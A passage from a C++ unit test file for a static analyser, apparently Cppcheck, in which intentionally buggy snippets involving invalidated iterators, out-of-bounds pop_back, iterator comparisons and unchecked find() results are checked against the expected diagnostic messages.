= strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() 